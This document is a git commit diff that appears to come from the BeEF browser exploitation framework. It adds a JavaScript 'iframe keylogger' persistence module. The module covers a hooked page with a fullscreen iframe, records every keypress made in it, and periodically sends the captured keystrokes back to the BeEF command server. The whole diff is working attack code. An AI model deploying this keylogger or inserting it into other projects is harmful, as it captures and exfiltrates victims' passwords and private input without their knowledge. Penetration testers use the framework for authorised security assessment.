Added iFrame keylogger module: given a same-domain resource, creates a fullscreen overlay iframe, and attach a keylogger to it.

git-svn-id: https://beef.googlecode.com/svn/trunk@1082 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9

modules/persistence/iframe_keylogger/command.js

@@ -0,0 +1,70 @@
+//
+//   Copyright 2011 Wade Alcorn wade@bindshell.net
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//       http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License.
+//
+beef.execute(function() {
+
+    // logged keystrokes array
+    var stream = new Array();
+
+    // add the pressed key to the keystroke stream array
+    function keyPressHandler(evt) {
+        evt = evt || window.event;
+        if (evt) {
+            var keyCode = evt.charCode || evt.keyCode;
+            charLogged = String.fromCharCode(keyCode);
+            stream.push(charLogged);
+        }
+    }
+
+    // creates the overlay 100% width/height iFrame
+    overlay = beef.dom.createIframe('fullscreen', 'get', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null);
+
+    if(beef.browser.isIE()){
+       // listen for keypress events on the iFrame
+        function setKeypressHandler(windowOrFrame, keyHandler) {
+            var doc = windowOrFrame.document;
+            if (doc) {
+                if (doc.attachEvent) {
+                    doc.attachEvent(
+                        'onkeypress',
+                        function () {
+                            keyHandler(windowOrFrame.event);
+                        }
+                    );
+                }
+                else {
+                    doc.onkeypress = keyHandler;
+                }
+            }
+        }
+
+        setKeypressHandler(window.frames.overlayiframe, keyPressHandler);
+
+    }else{
+        document.getElementById('overlayiframe').contentWindow.addEventListener('keypress', keyPressHandler, true);
+    }
+
+    // every N seconds send the keystrokes back to BeEF
+    setInterval(function queue() {
+        var keystrokes = "";
+        if (stream.length > 0) {
+            for (var i = 0; i < stream.length; i++) {
+                keystrokes += stream[i] + "";
+            }
+            beef.net.send("<%= @command_url %>", <%= @command_id %>, "keystrokes=" + keystrokes);
+                stream = new Array();
+            }
+        }, <%= @sendBackInterval %>)
+});